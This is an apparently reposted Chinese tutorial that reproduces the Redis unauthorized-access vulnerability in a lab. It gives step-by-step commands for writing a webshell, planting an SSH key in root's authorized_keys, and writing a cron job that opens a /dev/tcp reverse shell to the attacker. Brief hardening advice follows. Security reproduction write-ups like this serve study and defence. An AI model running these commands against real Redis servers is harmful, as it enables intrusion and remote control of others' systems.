热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Redis未授权访问漏洞复现

1、下载安装rediswget2、解压压缩包

漏洞复现

攻击机 kali ip:192.168.70.140
靶机 Ubuntu 16.04 ip:192.168.70.133

一、环境搭建

1、下载安装redis

wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2、 解压压缩包

tarzxvfredis-3.2.11.tar.gz。

3、进入解压目录redis-3.2.11 执行make命令

4、 进入src目录 cd redis-3.2.11/src

5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

Redis未授权访问漏洞复现

使用/etc/目录下的reids.conf文件中的配置启动 redis 服务:

Redis未授权访问漏洞复现

6、编辑etc中的redis配置文件redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

Redis未授权访问漏洞复现

关闭保护模式,允许远程连接redis服务将yes 改为no

Redis未授权访问漏洞复现

二、利用方式

写入webshell

测试目标靶机是否存在未授权访问,下面靶机存在未授权访问

1.远程连接redis

Redis未授权访问漏洞复现

2.在靶机写入cs.php文件

我们将 shell 写入/home/ubuntus/cs目录下

save保存

Redis未授权访问漏洞复现

3.在靶机查看,有cs.php文件,shell写入完成

Redis未授权访问漏洞复现

如果写入网站服务的路径下,后续可以使用 工具 连接shell

通过写入SSH公钥实现ssh登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

1、首先在攻击机(kali)上生成ssh公钥

Redis未授权访问漏洞复现

进入.ssh目录:cd.ssh/

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e”\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

Redis未授权访问漏洞复现

3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat key.txt|redis-cli -h 192.168.70.133 -x set crack

Redis未授权访问漏洞复现

4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140

5.更改redis备份路径为ssh公钥存放目录

6.设置上传公钥的备份文件名字为authorized_keys

save保存

Redis未授权访问漏洞复现

7.在攻击机上直接ssh免密登录靶机,免密登录成功

Redis未授权访问漏洞复现

nc反弹

目标计为centos

在攻击机(kali)执行 nc -v -l -p 9999 监听

连接目标主机:redis-cli -h 192.168.70.140

写入shell并保存

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

config set dir /var/spool/cron

config set dbfilename root

save

客户端会收到目标机的反弹shell。**在ubuntu测试计划任务写入成功但不执行

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

//直接往当前用户的crontab里写入反弹shell,换行也是必须的

三、修复建议

1.禁止一些高危命令
2.以低权限运行 Redis 服务
3.禁止外网访问 Redis

*本文作者:shineT,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 我们


推荐阅读
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • 本文介绍了在使用Python中的aiohttp模块模拟服务器时出现的连接失败问题,并提供了相应的解决方法。文章中详细说明了出错的代码以及相关的软件版本和环境信息,同时也提到了相关的警告信息和函数的替代方案。通过阅读本文,读者可以了解到如何解决Python连接服务器失败的问题,并对aiohttp模块有更深入的了解。 ... [详细]
  • 31.项目部署
    目录1一些概念1.1项目部署1.2WSGI1.3uWSGI1.4Nginx2安装环境与迁移项目2.1项目内容2.2项目配置2.2.1DEBUG2.2.2STAT ... [详细]
  • 一句话解决高并发的核心原则
    本文介绍了解决高并发的核心原则,即将用户访问请求尽量往前推,避免访问CDN、静态服务器、动态服务器、数据库和存储,从而实现高性能、高并发、高可扩展的网站架构。同时提到了Google的成功案例,以及适用于千万级别PV站和亿级PV网站的架构层次。 ... [详细]
  • 本文介绍了Redis中RDB文件和AOF文件的保存和还原机制。RDB文件用于保存和还原Redis服务器所有数据库中的键值对数据,SAVE命令和BGSAVE命令分别用于阻塞服务器和由子进程执行保存操作。同时执行SAVE命令和BGSAVE命令,以及同时执行两个BGSAVE命令都会产生竞争条件。服务器会保存所有用save选项设置的保存条件,当满足任意一个保存条件时,服务器会自动执行BGSAVE命令。此外,还介绍了RDB文件和AOF文件在操作方面的冲突以及同时执行大量磁盘写入操作的不良影响。 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • Java在运行已编译完成的类时,是通过java虚拟机来装载和执行的,java虚拟机通过操作系统命令JAVA_HOMEbinjava–option来启 ... [详细]
author-avatar
洗个小枣_312
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有